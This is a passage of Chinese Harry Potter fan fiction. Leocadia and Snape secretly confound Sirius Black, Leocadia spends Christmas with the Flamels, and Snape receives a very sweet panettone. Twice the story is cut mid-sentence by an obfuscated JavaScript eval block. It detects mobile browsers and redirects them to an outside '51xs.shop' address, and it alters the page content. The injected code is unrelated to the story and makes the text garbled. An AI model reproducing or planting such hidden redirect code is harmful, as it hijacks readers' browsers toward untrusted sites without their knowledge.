“克劳奇教授只是对黑魔法研究很深,典型的拉文克劳,典型的纯血,就算告诉弗利维教授也没什么办法。”莱奥卡蒂亚顶着斯图尔特教授不赞成的目光又飞低了一些,“我要搞一波布莱克,就咱俩,干不干?” 这种事带上莉莉绝对会被骂,而潘多拉就更不想介入这种浪费时间的事。 “你想怎么做?”斯内普往手上哈气,“时间?地点?方法?谁背锅?” “星期五,你想个办法让他们的魔药炸锅,隐蔽点,别让他们咬上你,我会在他们去医疗翼的路上给他们加点料,锅当然得让他们自己人背。” 斯内普很没创意地问:“用小恶咒让他们丢脸?” 他们俩经常这么干。 莱奥卡蒂亚阴测测地笑起来:“才不是。哈,布莱克不是不想让人用看纯血的眼神看他吗?桀桀桀桀桀~” 斯内普不是很想知道她在笑什么。 到了星期五,他就知道莱奥卡蒂亚何故发笑。 斯内普在亚德里安的配合下,煽动了一个姓诺特的斯莱特林。纯血家族,毫无疑问,此人不仅有个好姓氏,还蠢。 他们只是在公共休息室里若无其事地聊起怎么用一些微不足道的小材料就能造成大麻烦,那个诺特就和他的跟班们在下一节魔药课上行动起来,让波特和布莱克的坩埚起火,把他们炸了个灰头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564677|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 土脸。 波特还流了鼻血,蠢得要命。 斯拉格霍恩可不想让一个波特和一个布莱克在他的课堂上出事,也不太想找诺特这个姓氏的麻烦,只好意思意思训斥两声,就压着波特和布莱克去了医疗翼。 后面的事是斯内普在公共休息室里听到的。 就在前往医疗翼的路上,布莱克突然发疯,高声喊着布莱克家的家训,还跟路过的堂姐纳西莎·布莱克说他认识到了自己的错误,以后会成为一个优秀的继承人,引导布莱克家族走上“正确的道路”。 只不过在试图跟堂姐贴面吻的时候被脸色铁黑的卢修斯·马尔福制止。 斯拉格霍恩慢了半拍,用了检测魔法才认出布莱克是被下了混淆咒。 被四大学院几个年级的学生们一同围观的布莱克都快疯了,发誓要找出给他下咒的人,让这人吃不了兜着走。 但几个教授连番用魔法侦测,也没找出是谁给布莱克下咒。 这件事就此成为一桩悬案。 倒是邓布利多在星期六给莱奥卡蒂亚开小灶时问她是怎么做到的。 莱奥卡蒂亚怀疑他想给自己扣分,态度很坚决地说这事跟她没关系。 邓布利多不置可否,只是似笑非笑地提起克劳奇教授在课堂上针对莱奥卡蒂亚的事。 莱奥卡蒂亚装傻:“啊?克劳奇教授有针对我吗?怎么可能会有一位德高望重的教授针对一个平平无奇的学生呢?阿不思,你想太多啦。” 就连莉莉和潘多拉问起,她都口风很紧,只神叨叨地说这是梅林显灵。 这世界上,除了莱奥卡蒂亚,也就斯内普知道她是怎么做到的。 “佩迪鲁的新袖扣不错。” 莱奥卡蒂亚和斯内普并肩走进礼堂,两人齐齐看向格兰芬多长桌上气压很低的劫道者。她卷着鬓角,神秘莫测地跟身边的斯内普咬耳朵。 “如果佩迪鲁没有捡走那对落在走廊角落里的无主袖扣,如果他没有向朋友们炫耀,如果布莱克没有嘲讽他捡别人不要的东西,如果佩迪鲁没有对布莱克心生怨恨,那么,这个咒语就永远不会被触发。” 斯内普收回视线,声如轻风:“Grande idea,Signorina Saluzzo.(不错的创意,萨卢佐小姐)” “Grazie per ilplimento, signor Snape.(谢谢夸奖,斯内普先生。)” 他们自然地分开,一个坐在拉文克劳们中间,回答着各种问题;一个坐在离马尔福不远不近的地方,和身边的亚德里安低声交谈。 只是在某一个瞬间,他们不约而同地举起杯子,隔空碰一下。 莱奥卡蒂亚喝着果汁哼歌。 平心而论,她是很在意自己的形象管理的那种人。 营造出一个与世无争的聪明人形象很难,真的很难。莱奥卡蒂亚不能保证自己被每个人喜欢,毕竟也不是每个人都喜欢金子,她自认为没有金子讨人喜欢,但也不能太差。 太过蠢笨善良容易被人欺负,太过鲁莽粗直容易被人利用,太过精明趋利容易被人厌恶,太过冷漠无情容易被人恐惧。 每个人都需要一张假面,用于掩藏内心的真实想法,用于实现自己想要达成的目的。 可惜了,自从那节黑魔法防御术课后,她的名声算是毁了—— 低年级的觉得她懂这么多黑魔法一看就不是好人——以格兰芬多为主,包含少量赫奇帕奇。此处应该有布莱克的抹黑。 高年级的虽然不会太在意,毕竟两个学业考试将近,他们没心情关注低年级们的小打小闹,但是已经有斯莱特林明里暗里地向斯内普打探她的底细——一看就是被分院帽分错的斯莱特林!来吧妹子跟咱们一起玩啊!加入劳德后援团,好处大大滴有! 莱奥卡蒂亚:丑拒,丑拒好吗? 斯内普说起这事儿的时候还在笑,说有几个斯莱特林在问她家是不是很有钱,她有没有回家继承家产的可能。 这是想吃绝户呢?莱奥卡蒂亚皮笑肉不笑,信不信我让女士把你们吊起来抽? 莱奥卡蒂亚的余光关注着格兰芬多四人组,特别是那个老是来找茬的西里斯·布莱克。 也不知道他这是犯什么病,还是说他上辈子是棵韭菜,这辈子欠收拾了? 那边的詹姆也在问西里斯为什么老是找莱奥卡蒂亚的茬。 “兄弟,不是哥们儿不挺你,而是对面的手段真的太多。”詹姆苦着脸,“再说了,萨卢佐是伊万斯的朋友,你不是说好要帮我的吗?咱们能不能别老是盯着萨卢佐了?伊万斯上次就生气了。” 西里斯丧着脸,但那双黑眼睛仍旧亮亮的:“你以为我是无的放矢?” 他拿出一张照片拍在詹姆腿上,郑重宣布:“悄悄看,看完你就知道萨卢佐身上一定有个巨大的阴谋!” 詹姆:“神神秘秘……我去!” 他当然认得特拉弗斯家的那个老头是谁,也认得那老头对面的那张脸就属于莱奥卡蒂亚。 特拉弗斯家可是……! 詹姆慌里慌张地把照片塞回西里斯口袋:“西里斯,这可别让人知道……你说她难道是……?” 西里斯斩钉截铁:“绝对是!” 莱奥卡蒂亚·萨卢佐绝对是食死徒! 为了霍格沃茨,为了詹姆,为了纳西莎和雷古勒斯,他一定要揭穿这个小食死徒的真面目,还霍格沃茨一个清清白白的朗朗乾坤! 41.尼可勒梅 莱奥卡蒂亚坐在庭院的树上,膝盖上放着自己的箱子,两条腿交叉着垂下,微微晃动。 莉莉和斯内普低声交谈着什么,从树下经过。他们要去车站,搭乘火车到国王十字车站,艾琳会在车站等他们,三人用幻影移形回科克沃斯。 斯内普若有所感,抬头看向树梢。 但上面没人,只有轻轻晃动的树枝。 莉莉奇怪地抬头:“怎么了?上面有什么吗?” 斯内普迟疑着摇摇头:“我只是……觉得上面有人。” “这么冷的天,谁愿意在树上吹风?好了我们快走吧。莱奥说她等圣诞节过了就回我家隔壁,我给她准备的圣诞礼物似乎只有等她回来再拆了。” 斯内普收回目光:“我有预感,她能因为我的圣诞礼物唠叨半天。” “你到底送了什么给她呀……” 他们相伴着走远了。 而莱奥卡蒂亚拎着箱子站在了邓布利多的桌前。 “哦,莱奥,你来了?也许你需要稍微等我一下,五分钟……”邓布利多在书柜前翻找着什么,回头的时候却难得震惊一秒,“你的脸?它是……肿着吗?” 虽然在以肉眼可见的速度消肿,但还是挺……可怕的。 莱奥卡蒂亚的左脸上贴着一大块纱布:“腮腺炎,诺特夫人给我用过药了,但生效还得有一会儿。” “啊,我知道这个,麻瓜的病,我还是第一次知道小巫师也会中招。”邓布利多走过来,在她面前蹲下,轻轻碰一下那块纱布,“疼吗?” “其实还好?喝了魔药以后就不怎么疼了。”莱奥卡蒂亚顶顶腮帮子,把纱布揭下来,“看,已经消肿了。速度真快,不愧是魔药。你在找什么?” “一个朋友送的东西,我记得……算了,找不到就不找了,等哪天有空我需要好好整理一下我的书柜。”邓布利多带她站在壁炉前,“我们先从壁炉去法国魔法部,再去尼可家。” 莱奥卡蒂亚乖乖地捏起飞路粉。 她对于跟素昧谋面的老朋友线下面基很感兴趣,全程乖乖跟在邓布利多身后,如非必要,她的存在感甚至不及一个花瓶。 邓布利多还挺稀奇她这幅文静的样子,问她是不是有点紧张,还伸手给她拍了拍肩上的灰,告诉她尼可的性格和信里是一样的,没必要紧张。 莱奥卡蒂亚认真指正:“说出来你可能不信,但我真的不是什么社交达人。我有限的精力必须放在无限的研究上,而不是毫无意义的社交。” 邓布利多想想她在短短两个月内营造出的经典拉文克劳形象(破碎版); 又想想两天前她和斯内普跟劫道者二对四,从格兰芬多塔打到地窖再打到拉文克劳塔还能稳稳占据上风的战绩; 再想想昨天晚上她交给自己的研究新成果,一时搞不准该不该夸她是个时间管理大师。 但有一点是毋庸置疑的,那就是她的复活节礼物现在就可以定下来了。 过去一年里,纽特和莱奥卡蒂亚说过很多关于尼可·勒梅的事,在巴黎之战后他们也经常联系,有一年纽特还邀请尼可·勒梅和佩雷纳尔一起去美国的家里做客。 “所以你们真的去了吗?” 莱奥卡蒂亚坐在壁炉边用绘着紫色鸢尾花的茶杯喝茶,好奇地问对面的两位传奇老人,“纽特跟我卖了个关子,让我亲自问你们。” “是的,我们当然去了,Ma chérie(法语:我的亲爱的)。”佩雷纳尔温柔地笑起来。 数百岁的老人语调轻缓柔和,但绝不拖沓,仪态也优雅如天鹅。 在知道莱奥卡蒂亚会说法语后,他们一直用法语交流,“当然,那次我们是走壁炉过去的,虽然我们很想试试轮船、飞机,但办理麻瓜的手续太麻烦啦,法国魔法部又经常放假。” “确实,我家里有一部分对法国的出口贸易,但法国的对接经常找不到人。”莱奥卡蒂亚严肃地附和,“好在该完成的事项他们还是会好好完成的。” 茶壶吐着热气,飘起来为她添了一点茶。 “已经到午饭时间了,你想吃点什么?我让庞皮送了一些食材过来,你该尝尝佩利的手艺。”尼可·勒梅双手交叠放在身前,“这栋房子里很久没有需要进食的年轻人来做客,我估计她快憋坏了。” 佩雷纳尔轻轻嗔他一眼:“在你的形容里我仿佛是什么走不动路的老骨头。亲爱的,午餐我们吃得简单一点,晚上再享用大餐,好不好?” “遵从您的安排,夫人,”莱奥卡蒂亚俏皮眨眼,“阿不思说您特别擅长做法式餐点,我可是为您的手艺魂牵梦绕了一个月呢,哪怕您给我一份放了一个月的法棍我也会甘之如饴。” 佩雷纳尔捂着嘴唇笑着,扶着沙发的木扶手站起来:“瞧瞧这甜心,好,我就给你一盘法棍。” 悠悠走出去一截后,她才在莱奥卡蒂亚泫然欲泣的表情中回头:“当然,是新鲜出炉、抹上葡萄干奶酪的。” “谢谢您的大度。”莱奥卡蒂亚瞬间笑起来,微微鞠躬。 尼可·勒梅好笑地看着她们对话:“看看佩利很喜欢你,如果你来了布斯巴顿,你肯定会成为她第二喜爱的、会炼金术的布斯巴顿学生。” “第一是您吗?”莱奥卡蒂亚明知故问。 “当然是我,在这一点上我不会让出这宝贵的席位。”尼可·勒梅非常荣幸地颔首,然后带了点抱歉说,“不过我没想到阿不思一大早就把你送来了,我还以为你下午才来。” 不然也不会只用一壶茶招待小朋友。 “我也没想到,原定是下午才过来的。看来他有点急事,毕竟他可是个大忙人,我们的课外兴趣班总是会被各种各样的意外打断。”莱奥卡蒂亚抱怨。 “那就不管他了。我听他说你创新出一种新的炼金阵?快给我看看。”尼可勒梅动了动脖子,发出快要散架的脆响,听得莱奥卡蒂亚一阵牙酸,“最近这些年在炼金领域可没什么新鲜东西,我都很久没有动手试试我的老伙计们了。” 莱奥卡蒂亚从挎包里抽出专门用来记录魔法阵的笔记本,翻开放到茶几上,蹲在尼可·勒梅旁边随时替他翻页:“不是炼金阵啦,是魔法阵。” “新名词,但它们脱胎于炼金阵,我不用看就能感觉到焕然一新的老朋友们在向我招手。”尼可勒梅比划着第一个魔法阵的轮廓,“这个是基础炼金阵,对不对?” “没错没错!”莱奥卡蒂亚欣喜点头,“你快猜猜它代表哪个咒语。” 尼可·勒梅脱口而出:“清水如泉,显而易见,你还用了水象星盘增幅威力。” 莱奥卡蒂亚小海豹鼓掌:“真厉害!这都能直接看出来!?这是我改进之后的六芒星阵盘,除了四元素,剩下两个内圆是用来增幅的。” 尼可·勒梅二十多年来第一次有些小得意:“这可难不倒我。接下来是,啊哈,四分五裂,后面是荧光闪烁、放箭咒、牢固咒、熄火咒……” 他顺着说下去,莱奥卡蒂亚一页页翻着,并不奇怪他能认出它们。 这可是尼可·勒梅! 尼可还有些意犹未尽,但莱奥卡蒂亚的笔记本已经翻到了最新的一页。 上面只有一个没写完的标题: Why Don''t You Bring…… 字体是非常奇特的斜长花体。 莱奥卡蒂亚“咦”了一声:“这不是我的字迹。这本笔记本只会用来记录魔法阵,而不是我的思绪。‘为什么你不带走……’?带走什么?谁在我笔记本上乱涂乱画了?” 尼可勒梅却是拿出他的魔杖,轻轻挑起这行字:“有些像一种古老的黑魔法。除了你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582509|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有别人接触过这本笔记吗?” “当然不,我一直自己拿着。”莱奥卡蒂亚脸色骤变,“它有没有追踪的能力?会不会发现这里?!” 尼可勒梅的住处施加了强力的赤胆忠心咒,别说龙,把格林德沃牵来都不一定能找到。 但如果她带来的东西被下了黑魔法,又在尼可家被触动…… “不,不不不,当然不是,它是无害的,”尼可轻点魔杖,字迹化为飞灰,“放心,莱奥,你可以认为它是一些古旧书籍们的不甘。它们在嫉妒你的笔记本能随时被你带在身上。” 莱奥卡蒂亚飞速运转的思维一滞,显得有点呆:“……啊?” “你最近肯定在有很多书堆积的地方拿出它来,是不是?”尼可摇晃着魔杖,“看啊,它明显是新的,还被你精心养护着,充满了魔力……它是麻瓜的笔记本?这种样式的笔记本我只在麻瓜的商店里见过。但它的内页是羊皮纸,真奇怪。” “……啊,不是,这是我用羊皮纸缝的,但是没有封皮,我就拆了以前的笔记本封皮给它用。” 莱奥卡蒂亚想起来了,这本笔记本是在拉文克劳的公共休息室里订上封皮的,离拉文克劳图书室不远。 她长舒一口气:“呼,吓死我了。我还以为我会害这里暴露。” “这你大可不必担心,古灵阁都没这里安全。”尼可想起什么,挥手,墙壁上涌动起涟漪状的纹路,“所以我要给你看看我最得意的作品。” 莱奥卡蒂亚秒懂:“是不是,传说中的‘那个’!” 尼可为她的形容发笑:“对,就是你想的‘那个’。” 一分钟后,莱奥卡蒂亚把玩着鲜红的魔法石,吃着香喷喷的法棍抹葡萄干奶酪,只觉得人生到达了巅峰。 “快给我讲讲,尼可,你是怎么做出魔法石的?”莱奥卡蒂亚把魔法石对着光源,仔细观察它的每一个细节,“它仿佛是一种庞大魔力的凝聚体,但又很温和;看起来像自然形成的结晶体,实际上却有无数个炼金阵的痕迹……好厉害,根本想不出你是怎么完成它的。” 尼可·勒梅温和地看着她:“谁知道呢?有时候炼金作品也不会完全按照我们的想法生成,不是吗?但我想,也许是因为我完成它的初衷,只是想让佩利快点好起来罢了。” 那年,佩雷纳尔生了一场重病,他寻访了无数治疗师,却一无所获。 还好,他留下了佩雷纳尔。 莱奥卡蒂亚把魔法石放在他手边,品了品,觉得他这是在秀恩爱。 “你是说,你在做魔法石的时候,脑子里只有‘爱’这个念头?” 最近这个词的出现频率是不是有点高? 尼可·勒梅没有承认,也不否认:“或许还有对于死亡和失去的恐惧?” 莱奥卡蒂亚就指指自己的耳朵:“得了吧,我听得到,也尝得到。” 尼可·勒梅不由得将目光落在她的耳钉上:“它的效果似乎需要加强,不得不说你成长得太快了,超出了我和阿不思的预期。” 莱奥卡蒂亚摊手:“这也是没办法的事嘛,毕竟我还是个孩子。” 想了想,她又补充一句:“还是个好学的孩子。所以你可以教我怎么自己调整限制阵法的幅度。” “当然可以,”尼可·勒梅欣然点头,“我邀请你来过圣诞节,就是为了教你一些阿不思不会教你的东西。” 莱奥卡蒂亚暗示性地眨眨眼:“比如怎么做魔法石?” “你想要魔法石?那就送你吧。”尼可·勒梅挥挥手,魔法石就落在她掌心。 莱奥卡蒂亚大惊,跟扔烫手山芋一样扔回去:“我才不要!快拿走快拿走!” 可恶的尼可·勒梅,一定是在诱惑天真可爱的小女孩!并试图让她成为三代黑魔王! 必不会让你得逞! 42.一份来自未来的礼物 在尼可·勒梅家学习炼金术,是一件很有意思、也很轻松的事。 和一楼比起来,二楼的每一个房间都施了无痕延展咒,单是炼金房就大得像个魁地奇球场。 还是可以和尼可·勒梅一起随便炸的那种。 反正炸完了用修复一新重新装修就好,这就是做巫师的方便之处。 佩雷纳尔掌握的各色魔法不比尼可·勒梅少。有时候尼可·勒梅会故意逗莱奥卡蒂亚,不告诉她自己用的是什么魔法,吊她的胃口。 莱奥卡蒂亚暗自腹诽:幼稚。 莱奥卡蒂亚大声嚷嚷:“佩利——!blablabla,你知道这个魔法是什么吗?!尼可不告诉我!真坏!” 佩雷纳尔就慢悠悠地告诉她,然后温声附和:“对,尼可最坏了。” 尼可·勒梅大惊:“佩利?!这就是传说中的喜新厌旧吗??” 莱奥卡蒂亚:“略略略!” 尼可·勒梅和佩雷纳尔就像随处可见的、溺爱孩子的祖父母一样。假设莱奥卡蒂亚有一天说想在房间里吃饭,估计他们也能纵容地把小饭桌支在她床上。 “禁止娇惯孩子,娇惯等于捧杀!” 莱奥卡蒂亚不得不虎着脸阻止两个过了一辈子二人世界的老人家。 尼可·勒梅低声哄她:“没娇惯你,佩利真的是觉得你吃得太少了。” 佩雷纳尔往她的盘子里堆上多多的樱桃鹅肝:“对呀对呀,瞧你瘦的,快多吃点。” 起因是今天早上,莱奥卡蒂亚只是在看一本书信集时好奇了一下里面提到的法式樱桃鹅肝,佩雷纳尔中午就紧急加餐,一点都等不到晚上。 仿佛莱奥卡蒂亚是那种得不到就哇哇大哭的三岁宝宝一样。 莱奥卡蒂亚:“你们看得到底是什么育儿手册?肯定是盗版书,赶紧扔掉。” 尼可·勒梅出卖队友:“纽特给的,我就说麻瓜的育儿手册不能用。” 莱奥卡蒂亚拿起来一看,好家伙,《婴幼儿护理手册》。 里面还有两位老人家的批注。 “照着这本书育儿的话,等我找个十一岁以下的孩子来给你们练练手。”莱奥卡蒂亚无情没收。 除此之外,莱奥卡蒂亚还看到了不少有趣的手稿和笔记,大多是尼可·勒梅的朋友过世前给他的。 但有几本例外,尼可·勒梅拿给她的时候说,这是她的学弟写的。 莱奥卡蒂亚翻着每一本都有十英寸厚的手绘书:“你是指我这个一年级新生的学弟?” “没错,现在他应该还没出生呢。”尼可·勒梅坐在窗前的小桌旁,“不过我跟他是 1862 年认识的,他来布斯巴顿求学,两年后又去了德姆斯特朗,那是一个进步飞快又相当帅气的年轻人。” 莱奥卡蒂亚略一思索:“他用了时间转换器?但它的时效不是在二十四小时之内吗?” “没错,所以我说他相当有天赋。不仅躲过了魔法部和神秘事务司,还掺和了一脚麻瓜的战争。他在德姆斯特朗的老师叫莎莉曼,也许你没听过这个名字,但那位女士以神秘学顾问的身份几乎架空了法国王室……” 说到这,尼可·勒梅故作高深地停下,整理袖子:“好了,去看你的书吧。” 莱奥卡蒂亚坐到他身边,用最招人喜欢的眼神渴求地凝望尼可·勒梅:“再多讲一点嘛~拜托~” 尼可·勒梅踩着莱奥卡蒂亚转头就叫“佩利”的耐心线再次开口:“好吧,那就稍微告诉你一些,剩下的,你可以亲自听他说。” 在正向的时间里,哈威尔·詹肯,一个聪明又风流的男孩(尼可·勒梅语),读完霍格沃茨又跑到麻瓜大学上学,最后和妻子、学徒定居在威尔士乡下,逢年过节会来看看他在时间旅行中认识的老朋友们。 比如尼可·勒梅。 “在我们认识的时候,哈尔的炼金天赋就和我的不相上下了。但那时候他才十六岁,刚上霍格沃茨五年级。他说是一场实验,他不小心引爆了一个时间转换器,然后就来到了人生地不熟的 1862 年的法国。”尼可·勒梅意有所指,“都是不让人省心的孩子。” 莱奥卡蒂亚假装她没听出尼可·勒梅在内涵她,乖乖地当一个听众。 “没过两年我就听说他逃离了莎莉曼,又回到法国来,给我打打下手。最后用好几个身份游走,直到遇见苏菲。 苏菲·海特,哦,她本来应该是布斯巴顿的学生,但那几年拒绝送孩子来上学的家长很多,他们宁肯相信周围的成年巫师,或者隐瞒孩子的巫师身份,也不相信学校。 好在苏菲是个好姑娘,虽然身中诅咒,但智勇双全,还有一颗金子般善良的心。” 尼可·勒梅看上去既欣慰又不满,欣慰这么个好姑娘是法国人,不满她没有入学。 “要我说,哈尔的天赋已经远超现代巫师的水平了。要不是他遇到了苏菲,又是个出生在和平年代的孩子,我想现在就没格林德沃和伏地魔什么事儿了。”尼可·勒梅用咏叹调般的语气轻声说,“也许我们应该敬一敬伟大的爱情和反.战.教育。” 被戏称为“三代黑魔王”的莱奥卡蒂亚不敢吱声,配合着举起红茶杯,和尼可·勒梅虚虚碰了一下。 “出于时空悖论,他几乎不和我讨论未来的事,但我总能猜到一些。”尼可·勒梅朝某一个书柜招手,几本书飞出来,露出后面一个扁平的牛皮纸盒,“我想,这是他给你的。” 莱奥卡蒂亚噔噔噔跑过去,把那个很普通的盒子抱在怀里跑回来:“这是什么?” 尼可·勒梅摇头:“我可不会拆女孩儿们的东西。” 莱奥卡蒂亚还是相信尼可·勒梅的人品的,于是在他面前动手拆盒子:“那正好,我们一起看……啊,是一顶贝雷帽,还有一个剑桥包!” 尼可·勒梅饶有兴致地凑过来:“我和佩利也有苏菲送的帽子。我有说过苏菲有着世界上最好的缝纫手艺吗?” “显然没有。” 翻翻崭新的剑桥包,里面有一张绘着风信子的卡片,上面写着 “哈尔·詹肯和苏菲·海特 献给尊敬的、喜欢揪人耳朵的莱奥卡蒂亚·萨卢佐,并真诚希望 1971 年的你脾气好一点。” 背面还有一行小字“你说得对,时间是一个闭环。又及,包分麻瓜模式和巫师模式——斯卡曼德先生给的主意。” 莱奥卡蒂亚收好卡片,带上点缀着紫色水晶的暖棕色帽子,提着同色调的剑桥包,臭美地转了一圈:“我觉得这是我的圣诞礼物。尼可,你有詹肯学弟的地址吗?” “我们是单向联系的,一般是他主动联系我,你知道的,时间不允许。”尼可·勒梅遗憾地耸肩,“看来你挺喜欢他的。” “也许我讨厌轻浮的男人,但我绝对喜欢坚韧的女性。”莱奥卡蒂亚珍惜地取下帽子,摸摸上面拼成一朵风信子形状的紫水晶花,“我宣布,这是我今年最满意的圣诞礼物!” 尼可·勒梅:“我想佩利会伤心的,你绝对会更喜欢她送你的礼物。” 莱奥卡蒂 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Thou shoreless flood, which in thy ebb and flow(你这无边的洪水,在你潮起潮落时,) Claspest the limits of mortality, (钩住生命的边界,) And sick of prey, yet howling on for more,(你厌倦了捕食,却咆哮着继续索要,) Vomitest thy wrecks on its inhospitable shore;(你把你的船骸吐在荒凉的岸上;) Treacherous in calm, and terrible in storm,(平静时凶险,风暴中可怕,) Who shall put forth on thee,(谁将在你上面起航,) Unfathomable Sea? (深不可测的大海?) 讲道理,莱奥卡蒂亚也不是没上过文学鉴赏课,对于雪莱这位诗人也有一些了解,但她总觉得被尼可勒梅这么一念,这首普通的抒情诗一下子变得神秘莫测起来。 于是,莱奥卡蒂亚正襟危坐,期待着尼可·勒梅能用精彩绝伦的讲解带她走上触碰时间的道路。 但…… 尼可勒梅深情总结:“啊,幽深、神秘,这就是时间。好了,你自己体悟一下。” 莱奥卡蒂亚:“……就这?” 尼可·勒梅点头:“对啊对啊,这首诗已经把时间的概念讲得很明白了,你稍微用几年理解一下应该就能自己做时间转换器了。” 莱奥卡蒂亚:“……在你的观念里时间转换器是什么积木吗?!” “活了几百年,那种东西也就是积木啦。” “好了,停,够了,我不打算活那么久。” 下半场她无情地赶走老头子,抱着笔记本去找佩雷纳尔。 但佩雷纳尔擅长的不是炼金术,也不是时间魔法,她想了很久,才给了莱奥卡蒂亚一句话。 “时间是一条衔尾蛇,莱奥。” 苍老的优雅女士抬手,摸摸莱奥卡蒂亚的发顶:“啃食着自己的大蛇,建构与破坏的往复,生命与死亡的交替,时间因此而诞生。” 莱奥卡蒂亚蹲在地上,抱着腿,把脸埋在膝盖上:“啊……我好像有一点理解了。” 佩雷纳尔笑着:“慢慢来,不急。” 43.Merry Christmas! 在大雪纷飞的平安夜,佩雷纳尔在厨房,准备做一大桌美食。 当然,她和尼可·勒梅是不会吃的。 莱奥卡蒂亚则在她旁边,和弄一大盆面粉。 “我唯一会从头开始做的甜点就是Ptone(潘纳多尼),”莱奥卡蒂亚吐槽,“倒不如说我全家都会做。” 毕竟是家庭传统。 每个家庭成员都要在平安夜这一天回家,坐在同一张桌子周围,其乐融融的完成一份甜到爆炸的潘纳多尼。 莱奥卡蒂亚:哈哈哈,幸好这两年我在英国,我不用回去。 佩雷纳尔看上去对这种蛋糕的做法挺感兴趣的:“这是意大利的传统圣诞甜点吧?我和尼可去意大利做客的时候也听说过。但那一年,招待我们的朋友家因为一些突发事件没能庆祝圣诞节,所以我们还是很遗憾没能品尝他家的潘纳多尼。” “其实我们家不怎么重视这些节日,因为家里的近亲远亲加在一起,二十多个人里只有三个人信教。听起来是不是有点不可思议?”莱奥卡蒂亚往里面加入致死量的葡萄干,“但因为祖母会去教堂做礼拜,所以外界都认为我家是信教的。” “实际上,巫师们也不信教,但这并不妨碍我们和麻瓜一样庆祝节假日。谁能不喜欢节假日呢?”佩雷纳尔把糖罐递给她,“来,亲爱的,我认为是时候该加糖了。” 莱奥卡蒂亚却犹豫了一下,才接过糖罐。 佩雷纳尔敏锐的发现了她的迟疑,贴心地问:“或许你需要糖浆或者蜂蜜,而不是绵白糖?” “啊,不,”莱奥卡蒂亚指尖竖起来,转了几圈,罐子里的绵白糖就飞出来,落进面糊中,“我只是在想该加多少糖。” 她和祖父一样,都不太喜欢吃太甜的东西,但祖母认为甜度越高,越能体现一个家庭的美满和富足,所以每次都会在蛋糕里加足足的糖。 ‘你和你祖父一样,都是爱吃苦,还吃不了甜的家伙。’祖母经常这么说,但掏糖罐子的动作一点不见犹豫。 佩雷纳尔轻轻拍拍她的肩膀:“加能让你开心的量,亲爱的,在这里你想做什么都可以。” 于是莱奥卡蒂亚愉快地按照自己的口味加了糖。 把面糊送进烤箱,佩雷纳尔又和莱奥卡蒂亚一起处理其他食材。 “真的要做火鸡?”莱奥卡蒂亚扒在灶台上看佩雷纳尔处理新鲜的火鸡,“佩利,这么大一只!你和尼可又不吃!还有那么多鹅肝、生蚝、熏肉、甜点呢,我吃不下的。” 浪费可耻! “那我们留下你吃得下的分量,剩下的送去孤儿院,好不好?”佩雷纳尔早就想好了对策,“我投资了一家麻瓜的孤儿院,有时候也会去看看那些孤儿。以前的圣诞节我也会做一些菜,送去给他们。” “当然可以啦。我家也有给孤儿院送菜这种传统哦!”莱奥卡蒂亚眼睛一转,突然笑起来,“每次潘纳多尼快要上桌的时候,祖父的下属就会进来说孤儿院邀请他去跟孤儿们说说话,祖父就会带上我一起去。” 然后两个人在车里快乐地吃不那么甜的潘纳多尼,吃裹了满满番茄酱的肉酱意面,那时候她还能喝一点冰葡萄酒,然后拆开祖父提前放在车上的、来自某个凤梨头的另一份圣诞礼物。 说起来,今年祖父会送什么圣诞礼物呢? “佩利,一会儿我能喝一点葡萄酒吗?就一点!” “这个嘛……你还小呢……” “拜托嘛~就一口~一小口~好不好~” “好吧好吧,我记得尼可那里有几瓶朋友送的冰葡萄酒,偷偷喝一口还是可以的,当然,我认为尼可不会介意这种事。” “佩利~我最喜欢你啦~” # 普林斯庄园。 艾琳打开窗户,让安布拉飞进来,惊讶地取下她抓着的包裹:“莱奥不是已经送来了圣诞礼物吗?” 她看看上面的字迹和卡片,了然挑眉,朝楼上喊道:“西弗,有你的东西,莱奥给你的哦!” 几乎是下一秒,她长高了不少的儿子噔噔噔跑下楼,在两只家养小精灵“玷污纯血的小姐”“没有教养的混血”之类的嘀咕声中跑到她面前。 艾琳和斯内普早就能无视家养小精灵们的碎碎念,斯内普伸手接过艾琳手里的包裹,取下上面的卡片。 “圣诞快乐, 潘纳多尼,意大利的圣诞甜点。突然想起来你还没吃过这个,但请你自己一个人吃。 以及帮我喂几天安布拉。 L.S” 斯内普不禁有些好奇莱奥卡蒂亚给自己寄了什么,她说过自己不擅长烹饪,但想必她的手艺还处在能吃的范畴内。 只不过最好还是不要毒害艾琳了。 于是斯内普又回到房间,才拆开包装。 里面是一个巴掌大的蛋糕,而且散发着能让斯内普皱眉的甜蜜气息。奇怪的是它是被等分成四块的,每一块色泽和切面都昭示着它的每一部分都来自不同的蛋糕。 包装盒底部还顺时针标了1234,拉出剪头指向包装盒四周。 1——祖母配方 2——玛利亚配方 3——意大利热销配方 4——我的配方 保守起见,斯内普决定先吃玛利亚配方。 果然,入口香甜不腻,还带着坚果和葡萄干的香气。 意大利热销配方里估计是加了朗姆酒,带着点熏熏然的酒香。 他让家养小精灵送来刀叉和盘子,把这两块各自切了一半,让家养小精灵送给艾琳。 “麻瓜的甜点。”家养小精灵嘟哝着走了。 斯内普充耳不闻,叉子在“祖母配方”和莱奥卡蒂亚的配方上空犹豫不决。 犹豫一会儿,他觉得莱奥卡蒂亚的祖母应该比莱奥卡蒂亚本人靠谱。 但一口下去,斯内普捂着嘴,到处找水喝。 他这辈子就没吃过这么甜的东西! 